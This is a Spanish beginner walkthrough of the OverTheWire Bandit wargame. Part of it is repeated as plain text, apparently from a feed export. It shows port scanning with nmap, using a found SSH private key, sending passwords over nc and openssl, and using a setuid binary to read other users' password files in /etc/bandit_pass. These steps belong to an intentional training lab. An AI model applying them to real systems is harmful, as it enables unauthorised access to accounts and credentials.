<p><img src="/assets/img/wargame-bandit-2/zip-6-bandit12.png" alt="bandit" /></p>
<p>Una vez más en <code class="language-plaintext highlighter-rouge">tar</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/zip-7-bandit12.png" alt="bandit" /></p>
<p>Y por último, descomprimimos el archivo <code class="language-plaintext highlighter-rouge">gzip</code> para obtener el archivo de texto con la password:</p>
<p><img src="/assets/img/wargame-bandit-2/zip-8-bandit12.png" alt="bandit" /></p>
<p>La idea de este reto es aprender a descomprimir diferentes tipos de archivos, pero se puede solucionar usando los siguientes comandos:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">zcat</code> descomprime una lista de archivos (<code class="language-plaintext highlighter-rouge">.gz</code>) en la línea de comando o su <code class="language-plaintext highlighter-rouge">standard input</code> y escribe los datos sin comprimir en el <code class="language-plaintext highlighter-rouge">standard output</code></li>
<li><code class="language-plaintext highlighter-rouge">bzcat</code> es similar que zcat (descomprime todos los archivos indicados y lo envía <code class="language-plaintext highlighter-rouge">standard output</code>), pero de archivos <code class="language-plaintext highlighter-rouge">.bz2</code></li>
<li><code class="language-plaintext highlighter-rouge">tar xO</code>, donde <code class="language-plaintext highlighter-rouge">x</code> es para extraer, y <code class="language-plaintext highlighter-rouge">O</code> es para extraer el archivo a un <code class="language-plaintext highlighter-rouge">standard output</code></li>
<li><code class="language-plaintext highlighter-rouge">file -</code> permite ver el formato del archivo descomprimido, donde el nombre de este es reemplazado por el símbolo <code class="language-plaintext highlighter-rouge">-</code></li>
</ul>
<p><img src="/assets/img/wargame-bandit-2/zip-9-bandit12.png" alt="bandit" /></p>
<h2 id="solución-bandit-13--14">Solución Bandit 13 > 14</h2>
<h3 id="instrucciones-3">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el directorio <code class="language-plaintext highlighter-rouge">/etc/bandit_pass/bandit14</code>, y solo puede ser leído por el usuario <code class="language-plaintext highlighter-rouge">bandit14</code>.</p>
<p>Para el siguiente reto, no se obtiene la password, pero se obtiene la <a href="https://help.ubuntu.com/community/SSH/OpenSSH/Keys">llave privada de SSH</a>.</p>
<h3 id="comandos-recomendados-a-usar-3">Comandos recomendados a usar</h3>
<p>ssh, telnet, nc, openssl, s_client, nmap</p>
<h3 id="solución-3">Solución</h3>
<p>Revisamos que encontramos en el directorio <code class="language-plaintext highlighter-rouge">home</code> del usuario <code class="language-plaintext highlighter-rouge">bandit13</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-bandit13.png" alt="bandit" /></p>
<p>Nos conectamos usando esta llave privada. Para indicar la <code class="language-plaintext highlighter-rouge">private key</code> al momento de conectarse por SSH, se usa la opción <code class="language-plaintext highlighter-rouge">-i</code>, y nos conectamos al <code class="language-plaintext highlighter-rouge">localhost</code> (este se refiere al hostname de la máquina en la cual estamos conectados):</p>
<p><img src="/assets/img/wargame-bandit-2/ssh-bandit13.png" alt="bandit" /></p>
<p>Ahora revisamos el directorio <code class="language-plaintext highlighter-rouge">/etc/bandit_pass/bandit14</code> para encontrar la password de <code class="language-plaintext highlighter-rouge">bandit14</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/cat-bandit13.png" alt="bandit" /></p>
<h2 id="solución-bandit-14--15">Solución Bandit 14 > 15</h2>
<h3 id="instrucciones-4">Instrucciones</h3>
<p>La password del siguiente reto se puede encontrar enviando la contraseña actual al puerto <code class="language-plaintext highlighter-rouge">30000</code> al <code class="language-plaintext highlighter-rouge">localhost</code>.</p>
<h3 id="comandos-recomendados-a-usar-4">Comandos recomendados a usar</h3>
<p>ssh, telnet, nc, openssl, s_client, nmap</p>
<h3 id="solución-4">Solución</h3>
<p>Como es costumbre, revisamos por si el directorio <code class="language-plaintext highlighter-rouge">home</code> de este usuario contiene algún archivo:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-bandit14.png" alt="bandit" /></p>
<p>Al no encontrar nada, usamos lo indicado por las instrucciones, que es enviar la password del reto actual.</p>
<p>Para realizar una conexión a nosotros mismos, podemos usar el comando netcat (<code class="language-plaintext highlighter-rouge">nc</code>); o <code class="language-plaintext highlighter-rouge">telnet</code>, donde se indica el hostname <code class="language-plaintext highlighter-rouge">localhost</code>, y el puerto <code class="language-plaintext highlighter-rouge">30000</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/nc-bandit14-1.png" alt="bandit" /></p>
<h2 id="solución-bandit-15--16">Solución Bandit 15 > 16</h2>
<h3 id="instrucciones-5">Instrucciones</h3>
<p>La password del siguiente reto se puede encontrar enviando la contraseña actual al puerto <code class="language-plaintext highlighter-rouge">30001</code> al <code class="language-plaintext highlighter-rouge">localhost</code>, usando <a href="https://en.wikipedia.org/wiki/Transport_Layer_Security">cifrado SSL</a>.</p>
<h3 id="comandos-recomendados-a-usar-5">Comandos recomendados a usar</h3>
<p>ssh, telnet, nc, openssl, s_client, nmap</p>
<h3 id="solución-5">Solución</h3>
<p>Inspeccionamos el directorio <code class="language-plaintext highlighter-rouge">home</code> de este usuario:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-bandit15.png" alt="bandit" /></p>
<p><code class="language-plaintext highlighter-rouge">openssl</code> viene con una herramienta de cliente que puede usar para conectarse a un servidor mediante una conexión segura. La herramienta es similar a <code class="language-plaintext highlighter-rouge">telnet</code> o <code class="language-plaintext highlighter-rouge">nc</code>, pero este utiliza SSL/TLS para la conexión.</p>
<p>El comando <code class="language-plaintext highlighter-rouge">s_client</code> implementa un cliente genérico SSL/TLS que se conecta a un host remoto mediante estos protocolos.</p>
<p>La opción <code class="language-plaintext highlighter-rouge">-connect</code> de <code class="language-plaintext highlighter-rouge">s_client</code> permite especificar el host y el puerto al cual nos vamos a conectar. El formato de este es <code class="language-plaintext highlighter-rouge">host:port</code>.</p>
<p><img src="/assets/img/wargame-bandit-2/openssl-bandit15.png" alt="bandit" /></p>
<p>Ahora que nos conectamos, enviamos la password del usuario actual para obtener la password del siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-2/openssl-2-bandit15.png" alt="bandit" /></p>
<h2 id="solución-bandit-16--17">Solución Bandit 16 > 17</h2>
<h3 id="instrucciones-6">Instrucciones</h3>
<p>La password del siguiente reto se puede encontrar enviando la contraseña actual al puerto dentro del rango <code class="language-plaintext highlighter-rouge">31000</code> hasta <code class="language-plaintext highlighter-rouge">32000</code>.</p>
<p>Lo primero es identificar los puertos abiertos dentro de ese rango, y luego debemos comprobar cual trabaja con SSL.</p>
<h3 id="comandos-recomendados-a-usar-6">Comandos recomendados a usar</h3>
<p>ssh, telnet, nc, openssl, s_client, nmap</p>
<h3 id="solución-6">Solución</h3>
<p>Para identificar los puertos abiertos en el rango mencionado, usamos la herramienta <code class="language-plaintext highlighter-rouge">nmap</code> para escanearlos, con las opciones <code class="language-plaintext highlighter-rouge">-A</code> (de forma agresiva), <code class="language-plaintext highlighter-rouge">-p</code> para indicar los puertos a escanear:</p>
<p><img src="/assets/img/wargame-bandit-2/nmap-bandit16.png" alt="bandit" /></p>
<p>Cómo realizamos un escaneo agresivo, vemos que en el puerto <code class="language-plaintext highlighter-rouge">31790</code>, nos muestra el mensaje <code class="language-plaintext highlighter-rouge">Wrong! Please enter the correct current password</code>, que nos indica que debemos ingresar una password correcta.</p>
<p>Ahora usamos <code class="language-plaintext highlighter-rouge">openssl</code> y <code class="language-plaintext highlighter-rouge">s_client</code> con la opción <code class="language-plaintext highlighter-rouge">-quiet</code> para evitar que muestre la conversación SSL. La password actual la mandamos mediante el comando <code class="language-plaintext highlighter-rouge">echo</code> a OpenSSL:</p>
<p><img src="/assets/img/wargame-bandit-2/openssl-bandit16.png" alt="bandit" /></p>
<p>Para la conexión del siguiente reto la hacemos mediante esta llave privada.</p>
<h2 id="solución-bandit-17--18">Solución Bandit 17 > 18</h2>
<h3 id="instrucciones-7">Instrucciones</h3>
<p>Hay dos archivos en el directorio <code class="language-plaintext highlighter-rouge">home</code> (<code class="language-plaintext highlighter-rouge">password.old</code> y <code class="language-plaintext highlighter-rouge">password.new</code>). La password para el siguiente nivel se encuentra en el archivo <code class="language-plaintext highlighter-rouge">password.new</code>, y es la única línea que ha cambiado.</p>
<h3 id="comandos-recomendados-a-usar-7">Comandos recomendados a usar</h3>
<p>cat, grep, ls, diff</p>
<h3 id="solución-7">Solución</h3>
<p>Al intentar conectarnos, vemos que nos da un error de permisos, informando que esta se encuentra muy permisiva:</p>
<p><img src="/assets/img/wargame-bandit-2/ssh-1-bandit17.png" alt="bandit" /></p>
<p>Por lo tanto, le cambiamos los permisos al archivo de la llave privada usando <code class="language-plaintext highlighter-rouge">chmod</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/ssh-2-bandit17.png" alt="bandit" /></p>
<p>Al conectarnos, revisamos el contenido del directorio <code class="language-plaintext highlighter-rouge">home</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-bandit17.png" alt="bandit" /></p>
<p>Leemos el archivo <code class="language-plaintext highlighter-rouge">password.old</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/cat-1-bandit17.png" alt="bandit" /></p>
<p>Ahora el archivo <code class="language-plaintext highlighter-rouge">password.new</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/cat-2-bandit17.png" alt="bandit" /></p>
<p>Para ver las diferencias en ambos documentos, usamos la herramienta <code class="language-plaintext highlighter-rouge">diff</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/diff-bandit17.png" alt="bandit" /></p>
<h2 id="solución-bandit-18--19">Solución Bandit 18 > 19</h2>
<h3 id="instrucciones-8">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">readme</code> en el directorio <code class="language-plaintext highlighter-rouge">home</code>, pero hay problemas en la conexión SSH debido a que han modificado el archivo <code class="language-plaintext highlighter-rouge">.bashrc</code>, el cual, nos desconecta cuando nos intentamos conectar.</p>
<h3 id="comandos-recomendados-a-usar-8">Comandos recomendados a usar</h3>
<p>ssh, ls, cat</p>
<h3 id="solución-8">Solución</h3>
<p>Intentamos conectarnos vía SSH:</p>
<p><img src="/assets/img/wargame-bandit-2/ssh-1-bandit18.png" alt="bandit" /></p>
<p>Pero como se indicaba en las instrucciones, este nos desconecta:</p>
<p><img src="/assets/img/wargame-bandit-2/ssh-2-bandit18.png" alt="bandit" /></p>
<p>Realizamos una prueba enviando comandos en el intento de conexión SSH. Para esto enviamos un <code class="language-plaintext highlighter-rouge">ls</code> como prueba:</p>
<p><img src="/assets/img/wargame-bandit-2/ssh-3-bandit18.png" alt="bandit" /></p>
<p>Como nos trae el output del comando <code class="language-plaintext highlighter-rouge">ls</code>, intentamos leer el archivo de la misma forma:</p>
<p><img src="/assets/img/wargame-bandit-2/ssh-4-bandit18.png" alt="bandit" /></p>
<h2 id="solución-bandit-19--20">Solución Bandit 19 > 20</h2>
<h3 id="instrucciones-9">Instrucciones</h3>
<p>Para obtener acceso al siguiente nivel, se debe usar el binario <code class="language-plaintext highlighter-rouge">setuid</code> que se encuentra en el directorio <code class="language-plaintext highlighter-rouge">home</code>. Se recomienda ejecutarlo sin argumentos para descubrir cómo se usa.</p>
<p>La contraseña para este nivel se puede encontrar en <code class="language-plaintext highlighter-rouge">/etc/bandit_pass</code>.</p>
<h3 id="solución-9">Solución</h3>
<p>Revisamos en el directorio <code class="language-plaintext highlighter-rouge">home</code> si se encuentra el archivo <code class="language-plaintext highlighter-rouge">bandit20-do</code>, el cual, es <code class="language-plaintext highlighter-rouge">binario setuid</code>, y posee permisos de ejecución:</p>
<p><img src="/assets/img/wargame-bandit-2/ls-1-bandit19.png" alt="bandit" /></p>
<p>Lo ejecutamos sin argumentos para ver cómo se utiliza, y este nos indica que debemos especificar qué comando queremos utilizar, como si fuéramos otro usuario. En este caso, queremos ver la password del usuario <code class="language-plaintext highlighter-rouge">bandit20</code>:</p>
<p><img src="/assets/img/wargame-bandit-2/bin-bandit19.png" alt="bandit" /></p>W0lf_F4ngms@w0lff4ng.orgSiguiendo con el post anterior, se mostrará cómo resolver los juegos del wargame Bandit desde el nivel 10 > 11 hasta el 19 > 20. Solución Bandit 10 > 11 Instrucciones La password del siguiente reto se encuentra en el archivo data.txt, el cual, contiene datos codificados en base64. Comandos recomendados a usar grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd Solución Revisamos si el archivo data.txt se encuentra en nuestro directorio home, y leemos el archivo usando cat: Como se indicó en las instrucciones, el contenido del archivo es un string en base64. Para estos casos, Linux posee una herramienta para codificar y decodificar la base mencionada. Si revisamos el manual del comando base64, vemos que tiene una opción -d, que permite decodificar datos: Por lo tanto, leemos el archivo con el comando y la opción para obtener la password del siguiente reto: Solución Bandit 11 > 12 Instrucciones La password del siguiente reto se encuentra en el archivo data.txt, donde todas las letras minúsculas (a-z) y mayúsculas (A-Z) se han girado 13 posiciones (ROT13). Comandos recomendados a usar grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd Solución Revisamos el archivo data.txt, y encontramos que los datos de este no tienen sentido: Siguiendo las instrucciones, vemos que las letras originales fueron reemplazadas por una letra 13 posiciones después del alfabeto. Como ejemplo, pasaremos la palabra hello a ROT13: Si a la letra H la movemos 13 lugares en el alfabeto inglés, quedaría con la letra U Si hacemos lo mismo con la E, sería R La L sería Y Y la O sería B Entonces, si pasamos la palabra hello a ROT13, quedaría uryyb. Ahora que sabemos como usar ROT13, lo que haremos es usar el comando tr, que nos permite traducir o eliminar caracteres. Por lo tanto, usando este método, moveremos la letra A 13 posiciones, quedando en la letra N, y así con cada carácter. Al usar tr, primero escribimos todos los caracteres a traducir (mayúsculas y minúsculas) 'A-Za-z'. Luego indicamos los caracteres movidos 13 posiciones 'N-ZA-Nn-za-m': Solución Bandit 12 > 13 Instrucciones La password del siguiente reto se encuentra en el archivo data.txt, el cual, es un hexdump de un archivo. Para trabajar con él, se recomienda crear una carpeta en el directorio /tmp, y copiar el archivo en esta carpeta. Comandos recomendados a usar grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv, file Solución Revisamos el archivo data.txt, y vemos que posee información hexadecimal: Siguiendo las instrucciones, creamos la carpeta en el directorio /tmp, y copiamos el archivo: Para pasar el hexdump a un archivo normal, usamos el comando xxd. Este tiene la opción -r, que permite convertir un hexdump a un binario: Al convertir el archivo, vemos que este se encuentra comprimido con gzip: Por lo tanto, le cambiamos el nombre al archivo para que quede con la extensión gz (de gzip), y lo descomprimimos con la opción -d del comando: Una vez más, vemos que este se encuentra comprimido; pero esta vez, en formato bzip2. Ahora, cambiamos el nombre al archivo con la extensión bz2, y lo descomprimimos con la opción -d: Una vez más el archivo se encuentra comprimido con gzip, por lo tanto, lo volvemos a descomprimir: Esta vez, el archivo se encuentra comprimido en tar, el cual, descomprimimos con las opciones x (extraer), v (verbose) y f (indica el archivo): Otra vez, este se encuentra en tar: Ahora descomprimimos el archivo bzip2: Una vez más en tar: Y por último, descomprimimos el archivo gzip para obtener el archivo de texto con la password: La idea de este reto es aprender a descomprimir diferentes tipos de archivos, pero se puede solucionar usando los siguientes comandos: zcat descomprime una lista de archivos (.gz) en la línea de comando o su standard input y escribe los datos sin comprimir en el standard output bzcat es similar que zcat (descomprime todos los archivos indicados y lo envía standard output), pero de archivos .bz2 tar xO, donde x es para extraer, y O es para extraer el archivo a un standard output file - permite ver el formato del archivo descomprimido, donde el nombre de este es reemplazado por el símbolo - Solución Bandit 13 > 14 Instrucciones La password del siguiente reto se encuentra en el directorio /etc/bandit_pass/bandit14, y solo puede ser leído por el usuario bandit14. Para el siguiente reto, no se obtiene la password, pero se obtiene la llave privada de SSH. Comandos recomendados a usar ssh, telnet, nc, openssl, s_client, nmap Solución Revisamos que encontramos en el directorio home del usuario bandit13: Nos conectamos usando esta llave privada. Para indicar la private key al momento de conectarse por SSH, se usa la opción -i, y nos conectamos al localhost (este se refiere al hostname de la máquina en la cual estamos conectados): Ahora revisamos el directorio /etc/bandit_pass/bandit14 para encontrar la password de bandit14: Solución Bandit 14 > 15 Instrucciones La password del siguiente reto se puede encontrar enviando la contraseña actual al puerto 30000 al localhost. Comandos recomendados a usar ssh, telnet, nc, openssl, s_client, nmap Solución Como es costumbre, revisamos por si el directorio home de este usuario contiene algún archivo: Al no encontrar nada, usamos lo indicado por las instrucciones, que es enviar la password del reto actual. Para realizar una conexión a nosotros mismos, podemos usar el comando netcat (nc); o telnet, donde se indica el hostname localhost, y el puerto 30000: Solución Bandit 15 > 16 Instrucciones La password del siguiente reto se puede encontrar enviando la contraseña actual al puerto 30001 al localhost, usando cifrado SSL. Comandos recomendados a usar ssh, telnet, nc, openssl, s_client, nmap Solución Inspeccionamos el directorio home de este usuario: openssl viene con una herramienta de cliente que puede usar para conectarse a un servidor mediante una conexión segura. La herramienta es similar a telnet o nc, pero este utiliza SSL/TLS para la conexión. El comando s_client implementa un cliente genérico SSL/TLS que se conecta a un host remoto mediante estos protocolos. La opción -connect de s_client permite especificar el host y el puerto al cual nos vamos a conectar. El formato de este es host:port. Ahora que nos conectamos, enviamos la password del usuario actual para obtener la password del siguiente reto: Solución Bandit 16 > 17 Instrucciones La password del siguiente reto se puede encontrar enviando la contraseña actual al puerto dentro del rango 31000 hasta 32000. Lo primero es identificar los puertos abiertos dentro de ese rango, y luego debemos comprobar cual trabaja con SSL. Comandos recomendados a usar ssh, telnet, nc, openssl, s_client, nmap Solución Para identificar los puertos abiertos en el rango mencionado, usamos la herramienta nmap para escanearlos, con las opciones -A (de forma agresiva), -p para indicar los puertos a escanear: Cómo realizamos un escaneo agresivo, vemos que en el puerto 31790, nos muestra el mensaje Wrong! Please enter the correct current password, que nos indica que debemos ingresar una password correcta. Ahora usamos openssl y s_client con la opción -quiet para evitar que muestre la conversación SSL. La password actual la mandamos mediante el comando echo a OpenSSL: Para la conexión del siguiente reto la hacemos mediante esta llave privada. Solución Bandit 17 > 18 Instrucciones Hay dos archivos en el directorio home (password.old y password.new). La password para el siguiente nivel se encuentra en el archivo password.new, y es la única línea que ha cambiado. Comandos recomendados a usar cat, grep, ls, diff Solución Al intentar conectarnos, vemos que nos da un error de permisos, informando que esta se encuentra muy permisiva: Por lo tanto, le cambiamos los permisos al archivo de la llave privada usando chmod: Al conectarnos, revisamos el contenido del directorio home: Leemos el archivo password.old: Ahora el archivo password.new: Para ver las diferencias en ambos documentos, usamos la herramienta diff: Solución Bandit 18 > 19 Instrucciones La password del siguiente reto se encuentra en el archivo readme en el directorio home, pero hay problemas en la conexión SSH debido a que han modificado el archivo .bashrc, el cual, nos desconecta cuando nos intentamos conectar. Comandos recomendados a usar ssh, ls, cat Solución Intentamos conectarnos vía SSH: Pero como se indicaba en las instrucciones, este nos desconecta: Realizamos una prueba enviando comandos en el intento de conexión SSH. Para esto enviamos un ls como prueba: Como nos trae el output del comando ls, intentamos leer el archivo de la misma forma: Solución Bandit 19 > 20 Instrucciones Para obtener acceso al siguiente nivel, se debe usar el binario setuid que se encuentra en el directorio home. Se recomienda ejecutarlo sin argumentos para descubrir cómo se usa. La contraseña para este nivel se puede encontrar en /etc/bandit_pass. Solución Revisamos en el directorio home si se encuentra el archivo bandit20-do, el cual, es binario setuid, y posee permisos de ejecución: Lo ejecutamos sin argumentos para ver cómo se utiliza, y este nos indica que debemos especificar qué comando queremos utilizar, como si fuéramos otro usuario. En este caso, queremos ver la password del usuario bandit20:Writeup - Wargame Bandit - Parte 12020-05-24T11:58:47-04:002020-05-24T11:58:47-04:00http://www.w0lff4ng.org/wargame-bandit-1<p><img src="/assets/img/wargame-bandit-1/wargame.jpg" alt="bandit" /></p>
<p>El wargame <a href="https://overthewire.org/wargames/bandit/">Bandit</a>, es un juego creado por <a href="https://overthewire.org/wargames/">OverTheWire</a> para principiantes con la finalidad de enseñar lo básico para trabajar en otros wargames.</p>
<p>Es totalmente recomendable participar en este juego, debido que nos permite interiorizarnos con la línea de comandos del OS Linux.</p>
<p>Este juego se encuentra ordenado por niveles y dificultad, permitiendo ir aprendiendo desde lo más básico. Al completar cada nivel, se obtiene un premio conocido como <code class="language-plaintext highlighter-rouge">Flag</code>.</p>
<p>El <code class="language-plaintext highlighter-rouge">Flag</code> de cada nivel corresponde a la contraseña de acceso al siguiente, por tanto, es recomendable ir en orden para obtenerlas todas.</p>
<p>Este wargame parte en el nivel 0,la que funciona como una introducción al juego.</p>
<blockquote>
<p>NOTA: si te encuentras atascado en un reto, y no sabes cómo utilizar un comando, puedes ver su manual a través del comando man (ejemplo: man ssh); también, puedes usar la opción -h o –help (ejemplo: awk -h, awk –help) o buscar en Google.
Además, en cada reto nos indican los comandos que podemos usar para poder resolverlos.</p>
</blockquote>
<p>Para ingresar a cada reto, se debe realizar una conexión SSH al hostname <strong><em>bandit.labs.overthewire.org</em></strong>, usando el puerto <strong><em>2220</em></strong>. Para diferenciar cada reto, va cambiando el número del username, partiendo en <strong><em>bandit0</em></strong>.</p>
<p>Para la conexión se recomienda el uso de la terminal de Linux, o si trabajan en Windows, usar la herramienta <a href="https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html">PuTTY</a>.</p>
<h2 id="conexión-usando-el-terminal-de-linux">Conexión usando el terminal de Linux</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh bandit0@bandit.labs.overthewire.org <span class="nt">-p</span> 2220
</code></pre></div></div>
<p><img src="/assets/img/wargame-bandit-1/bandi_linux_ssh_connection-1-1.png" alt="bandit" /></p>
<ul>
<li>En la sección roja de la imagen se define el username</li>
<li>Luego del username se escribe un <code class="language-plaintext highlighter-rouge">@</code>, para seguir con la sección verde, que corresponde al hostname donde nos conectaremos</li>
<li>La sección rosa es para especificar el puerto (es necesaria esta opción, debido que el puerto por defecto de SSH es el 22)</li>
<li>Y por último, en la seccion amarilla se indica el password</li>
</ul>
<p>Como uso <a href="https://www.kali.org/">Kali Linux</a> para resolver los retos, me gusta usar la herramienta <code class="language-plaintext highlighter-rouge">SSHPass</code>, donde se define un archivo con la password al momento de ejecutar SSH, en vez de escribirla cuando me la solicita el prompt:</p>
<h3 id="instalación-de-sshpass-en-kali-linux">Instalación de SSHPass en Kali Linux</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt <span class="nb">install </span>sshpass
</code></pre></div></div>
<h3 id="uso-de-sshpass">Uso de SSHPass</h3>
<p>Necesitamos tener un archivo con el texto de la password para ejecutar este comando:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sshpass <span class="nt">-p</span> <span class="sb">`</span><span class="nb">cat </span>bandit0<span class="sb">`</span> ssh bandit0@bandit.labs.overthewire.org <span class="nt">-p</span> 2220
</code></pre></div></div>
<p><img src="/assets/img/wargame-bandit-1/sshpass-1.png" alt="bandit" /></p>
<p>Como podemos ver en la imagen, se ejecuta el comando <code class="language-plaintext highlighter-rouge">sshpass</code> seguido de la lectura del archivo donde tenemos la password (leído con un <code class="language-plaintext highlighter-rouge">cat</code> entre <a href="https://en.wikipedia.org/wiki/Grave_accent#Use_in_programming">backtick</a> “`”), continuando con el comando normal de SSH.</p>
<h2 id="conexión-usando-putty">Conexión usando PuTTY</h2>
<p><img src="/assets/img/wargame-bandit-1/bandi_putty_ssh_connection-1-1.png" alt="bandit02" /></p>
<p><img src="/assets/img/wargame-bandit-1/bandi_putty_ssh_connection-2-1.png" alt="bandit03" /></p>
<p>Al usar Putty, lo primero que se debe indicar es:</p>
<ul>
<li><strong>Verde:</strong> hostname</li>
<li><strong>Rosa:</strong> puerto</li>
<li><strong>Café:</strong> protocolo</li>
</ul>
<p>Luego de ingresar estos parámetros, se da clic en Open, y esto iniciará la conexión SSH. Cuando se inicie la conexión, el servidor nos solicitará ingresar los siguientes datos:</p>
<ul>
<li><strong>Rojo:</strong> username</li>
<li><strong>Amarillo:</strong> password</li>
</ul>
<h2 id="solución-bandit-0--1">Solución Bandit 0 > 1</h2>
<h3 id="instrucciones">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">readme</code>, situado en el directorio home del usuario con el que nos conectamos.</p>
<h3 id="comandos-recomendados-a-usar">Comandos recomendados a usar</h3>
<p>ls, cd, cat, file, du, find</p>
<h3 id="solución">Solución</h3>
<p>Como nos indican que el archivo <code class="language-plaintext highlighter-rouge">readme</code> se encuentra en el directorio <code class="language-plaintext highlighter-rouge">home</code> de <strong><em>bandit0</em></strong>, nos debemos fijar que en el prompt al conectamos nos aparezca el símbolo de la virgulilla (<code class="language-plaintext highlighter-rouge">~</code>). Este símbolo nos indica que estamos en el home del usuario con el cual nos conectamos.</p>
<p>Para revisar los archivos/carpetas que se tienen en este directorio, podemos usar el comando <code class="language-plaintext highlighter-rouge">ls</code>, el cual, nos enlista el contenido que esta posee:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-bandit0.png" alt="bandit" /></p>
<p>Ahora que sabemos que el archivo <code class="language-plaintext highlighter-rouge">readme</code> se encuentra realmente en este directorio, usamos el comando <code class="language-plaintext highlighter-rouge">cat</code> para poder leer el contenido de este, y obtener la password para el siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-bandit0.png" alt="bandit" /></p>
<h2 id="solución-bandit-1--2">Solución Bandit 1 > 2</h2>
<h3 id="instrucciones-1">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">-</code>, situado en el directorio home del usuario con el que nos conectamos.</p>
<h3 id="comandos-recomendados-a-usar-1">Comandos recomendados a usar</h3>
<p>ls, cd, cat, file, du, find</p>
<h3 id="solución-1">Solución</h3>
<p>Al igual que en el reto anterior, el archivo con la password se encuentra situado en el directorio home.</p>
<p>Si ejecutamos <code class="language-plaintext highlighter-rouge">ls</code> al directorio, podemos ver que se encuentra el archivo:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-bandit1-1.png" alt="bandit" /></p>
<p>Pero al momento de ejecutar <code class="language-plaintext highlighter-rouge">cat</code>, podemos ver que se nos presenta el primer problema:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-1-bandit1.png" alt="bandit" /></p>
<p>Cuando hacemos un <code class="language-plaintext highlighter-rouge">cat -</code>, vemos que realiza un salto de línea esperando a que ingresemos datos. El símbolo <code class="language-plaintext highlighter-rouge">-</code> en Linux corresponde a un STDIN (standard input), el cual, lee la entrada en la consola:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-2-bandit1.png" alt="bandit" /></p>
<ul>
<li>El texto rojo es la entrada (ingresado por teclado)</li>
<li>El texto en verde es la salida del texto ingresado</li>
</ul>
<p>Para poder leer los archivos que inician con <code class="language-plaintext highlighter-rouge">-</code>, se debe anteponer <code class="language-plaintext highlighter-rouge">./</code> al nombre de este:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-3-bandit1.png" alt="bandit" /></p>
<h2 id="solución-bandit-2--3">Solución Bandit 2 > 3</h2>
<h3 id="instrucciones-2">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">spaces in this filename</code> situado en el directorio home del usuario con el que nos conectamos.</p>
<h3 id="comandos-recomendados-a-usar-2">Comandos recomendados a usar</h3>
<p>ls, cd, cat, file, du, find</p>
<h3 id="solución-2">Solución</h3>
<p>Como hemos visto en retos anteriores, usando el comando <code class="language-plaintext highlighter-rouge">ls</code> revisamos el contenido del directorio <code class="language-plaintext highlighter-rouge">home</code>. Si a este comando le ingresamos la opción <code class="language-plaintext highlighter-rouge">-l</code>, podemos ver un formato de listado largo:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-bandit2.png" alt="bandit" /></p>
<p>Corroboramos que el archivo <code class="language-plaintext highlighter-rouge">spaces in this filename</code> existe en el directorio local. Así que, intentaremos leerlo con un <code class="language-plaintext highlighter-rouge">cat</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-1-bandit2.png" alt="bandit" /></p>
<p>Al hacer el <code class="language-plaintext highlighter-rouge">cat</code> se produce un error, debido a que el comando asume que cada palabra del nombre <code class="language-plaintext highlighter-rouge">spaces in this filename</code> es un archivo/directorio, y no un archivo único.</p>
<p>Para que bash nos reconozca el nombre de spaces in this filename como un archivo único, debemos escribirlo entre comillas (<code class="language-plaintext highlighter-rouge">"</code>):</p>
<p><img src="/assets/img/wargame-bandit-1/cat-2-bandit2.png" alt="bandit" /></p>
<h2 id="solución-bandit-3--4">Solución Bandit 3 > 4</h2>
<h3 id="instrucciones-3">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en un archivo oculto en el directorio <code class="language-plaintext highlighter-rouge">inhere</code>.</p>
<h3 id="comandos-recomendados-a-usar-3">Comandos recomendados a usar</h3>
<p>ls, cd, cat, file, du, find</p>
<h3 id="solución-3">Solución</h3>
<p>Si revisamos el manual de <code class="language-plaintext highlighter-rouge">ls</code> usando el comando <code class="language-plaintext highlighter-rouge">man ls</code>, podemos ver que este posee la opción <code class="language-plaintext highlighter-rouge">-a</code>, la que nos permite ver todos los archivos en un directorio:</p>
<p><img src="/assets/img/wargame-bandit-1/man-bandit3.png" alt="bandit" /></p>
<p>Por lo tanto, hacemos un <code class="language-plaintext highlighter-rouge">ls</code> al directorio local para ver si se encuentra la carpeta <code class="language-plaintext highlighter-rouge">inhere</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-1-bandit3.png" alt="bandit" /></p>
<p>Como la carpeta existe, ingresamos a esta usando el comando <code class="language-plaintext highlighter-rouge">cd</code>, y vemos todo el contenido de la carpeta:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-2-bandit3-1.png" alt="bandit" /></p>
<p>Los archivos/directorios que inician con un <code class="language-plaintext highlighter-rouge">.</code> en Linux se encuentra ocultos.</p>
